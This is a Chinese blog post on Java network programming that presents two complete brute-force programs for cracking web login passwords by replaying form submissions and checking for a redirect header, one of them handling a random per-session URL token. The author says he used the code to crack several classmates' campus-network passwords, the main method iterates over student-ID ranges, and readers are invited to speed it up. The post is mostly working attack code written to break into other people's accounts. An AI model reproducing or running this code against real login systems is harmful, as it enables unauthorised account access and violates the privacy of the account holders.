java网络编程五:暴力法破解登录系统的完全实现

注:以下破解思路及代码源自我同学木子

1、先来看一个无任何安全措施的登录系统的破解方法:每次模拟表单提交,若登录成功,此时返回的报头信息中有Location字段,登录失败无此字段,继续模拟登录。直到破解成功,本人成功破解部分同学校园网登录密码(纯四位数字的)代码如下:

view plain
  1. "font-size:16px;">package demo.net;  
  2.   
  3. import java.io.IOException;  
  4. import java.io.PrintWriter;  
  5. import java.net.HttpURLConnection;  
  6. import java.net.URL;  
  7.   
  8. import mine.util.io.TextFile;  
  9.   
  10. //暴力法破解简单登录系统:该系统无任何安全措施  
  11. public class PostTest {  
  12.     String urlString = "登录页面的url";  
  13.   
  14.     public PostTest() {  
  15.     }  
  16.   
  17.     public PostTest(String urlString) {  
  18.         this.urlString = urlString;  
  19.     }  
  20.   
  21.     // 提交一次用户请求  
  22.     private boolean doPost(String user, String password) {  
  23.         boolean sucess = false;  
  24.         try {  
  25.             URL realUrl = new URL(urlString);  
  26.             HttpURLConnection conn = (HttpURLConnection) realUrl  
  27.                     .openConnection();  
  28.             conn.setDoOutput(true);  
  29.             conn.setDoInput(true);  
  30.             conn.setInstanceFollowRedirects(false);  
  31.   
  32.             // 提交表单,发送的数据是直接用Firebug截取的然后把用户名,密码部分换成参数  
  33.             PrintWriter out = new PrintWriter(conn.getOutputStream());  
  34.             out.print("要提交的表单信息");  
  35.             out.flush();  
  36.   
  37.             // 如果登录不成功,报头中没有Location字段,getHeaderField("Location") 返回null  
  38.             // 登录成功,返回一个随机的Location字段  
  39.             // System.out.println(conn.getHeaderFields());  
  40.             if (conn.getHeaderField("Location") != null) {  
  41.                 sucess = true;  
  42.             }  
  43.         } catch (IOException e) {  
  44.             e.printStackTrace();  
  45.         }  
  46.         return sucess;  
  47.     }  
  48.   
  49.     // 这是一个全排列算法, 对特定长度的密码排列组合,把结果存入list  
  50.     // user:用户名 , n:字符下标 , len:字符数组长度,也就是密码长度  
  51.     private boolean createPassWord(String user, char[] str, int n, int len) {  
  52.         if (n == len) {  
  53.             String ps = new String(str);  
  54.             if (doPost(user, ps)) {  
  55. //              System.out.println("sucess:" + user + " : " + ps);  
  56.                 TextFile.write("file/校园网用户名及密码.txt"true"sucess:" + user  
  57.                         + " : " + ps + "\n");  
  58.                 return true;  
  59.             }  
  60.             return false;  
  61.         }  
  62.         for (int i = 0; i <= 9; i++) {  
  63.             str[n] = (char) (i + '0');  
  64.             if (createPassWord(user, str, n + 1, len))  
  65.                 return true;  
  66.         }  
  67.         return false;  
  68.     }  
  69.   
  70.     // 破解一个用户的密码  
  71.     public void test(String user) {  
  72.         for (int i = 0; i < 4; i++) {  
  73.             if (createPassWord(user, new char[i + 1], 0, i + 1))  
  74.                 break;  
  75.         }  
  76.     }  
  77.   
  78.     public static void main(String[] args) {  
  79.         PostTest pt = new PostTest();  
  80.         for (int i = 1; i <= 9; i++)  
  81.             pt.test("09050510" + i);  
  82.         for (int i = 10; i <= 31; i++)  
  83.             pt.test("0905051" + i);  
  84.     }  
  85. }  
  86.   


 

这个示例代码中只破解密码为4位或4位数字之内的密码,大概破解一个用户需要十分钟。如果破解5、6...更长的密码,破解时间将很长。

注:以下破解思路及代码源自我同学木子

2、在有些登录系统会采用安全措施,每次登录都会在url上产生一个随机值,该值为报头信息中的Location字段的值,所以破解时要先获得该值,然后组成真正的url给服务器发送表单信息,这里要进行两次连接,第一次获取Location字段的值,第二次才是真正的模拟登录。注意要御制重定向。代码如下:

view plain
  1. "font-size:16px;">package demo.net;  
  2.   
  3. import java.io.IOException;  
  4. import java.io.PrintWriter;  
  5. import java.net.HttpURLConnection;  
  6. import java.net.URL;  
  7.   
  8. //暴力法破解登录系统:该登录系统的特征是报头信息中有Location字段,该字段的值随机生成  
  9. public class HttpTest {  
  10.     //要破解的登录系统的url  
  11.     String urlString = "要破解的系统的url";  
  12.   
  13.     public HttpTest() {  
  14.     }  
  15.   
  16.     public HttpTest(String urlString) {  
  17.         this.urlString = urlString;  
  18.     }  
  19.   
  20.     // 提交一次用户请求  
  21.     private boolean doPost(String user, String password) {  
  22.         boolean sucess = false;  
  23.         try {  
  24.             // 先通过url获取head中Location字段,这个字段是随机的,每次连接都不一样  
  25.             URL url = new URL(urlString);  
  26.             HttpURLConnection connection = (HttpURLConnection) url  
  27.                     .openConnection();  
  28.             connection.setRequestMethod("HEAD");  
  29.             connection.setInstanceFollowRedirects(false);// 不让重定向,这样才会返回Location字段信息  
  30.             connection.connect();  
  31.   
  32.             // 通过获取的Location字段的信息构造真正提交表单的url  
  33.             URL realUrl = new URL(urlString  
  34.                     + connection.getHeaderField("Location"));  
  35.             HttpURLConnection conn = (HttpURLConnection) realUrl  
  36.                     .openConnection();  
  37.             conn.setDoOutput(true);  
  38.             conn.setDoInput(true);  
  39.             conn.setInstanceFollowRedirects(false);  
  40.   
  41.             // 提交表单,发送的数据是直接用Firebug截取的然后把用户名,密码部分换成参数  
  42.             PrintWriter out = new PrintWriter(conn.getOutputStream());  
  43.             out.print("登录时提交的表单信息");  
  44.             out.flush();  
  45.   
  46.             // 如果登录不成功,报头中没有Location字段,getHeaderField("Location") 返回null  
  47.             // 登录成功,返回一个随机的Location字段  
  48.             // System.out.println(conn.getHeaderFields());  
  49.             if (conn.getHeaderField("Location") != null) {  
  50.                 sucess = true;  
  51.             }  
  52.         } catch (IOException e) {  
  53.             e.printStackTrace();  
  54.         }  
  55.         return sucess;  
  56.     }  
  57.   
  58.     // 这是一个全排列算法, 对特定长度的密码排列组合,把结果存入list  
  59.     // user:用户名 , n:字符下标 , len:字符数组长度,也就是密码长度  
  60.     private boolean createPassWord(String user, char[] str, int n, int len) {  
  61.         if (n == len) {  
  62.             String ps = new String(str);  
  63.             if (doPost(user, ps)) {  
  64.                 System.out.println("sucess:" + user + " : " + ps);  
  65.                 return true;  
  66.             }  
  67.             return false;  
  68.         }  
  69.         for (int i = 0; i <= 9; i++) {  
  70.             str[n] = (char) (i + '0');  
  71.             if (createPassWord(user, str, n + 1, len))  
  72.                 return true;  
  73.         }  
  74.         return false;  
  75.     }  
  76.   
  77.     // 破解一个用户的密码  
  78.     public void test(String user) {  
  79.         for (int i = 5; i < 20; i++) {  
  80.             if (createPassWord(user, new char[i + 1], 0, i + 1))  
  81.                 break;  
  82.         }  
  83.     }  
  84.   
  85.     public static void main(String[] args) {  
  86.         HttpTest pt = new HttpTest();  
  87.         pt.test("090505105");  
  88.     }  
  89. }  
  90.   


当然以上两个代码示例只是原理上的实现,实际中成功概率不大,因为破解6位纯数字的密码大概要30个小时,而且很多密码中还有字母。。。有兴趣的可以优化一下代码啊,看能不能缩短破解时间。

你可能感兴趣的:(JavaSE)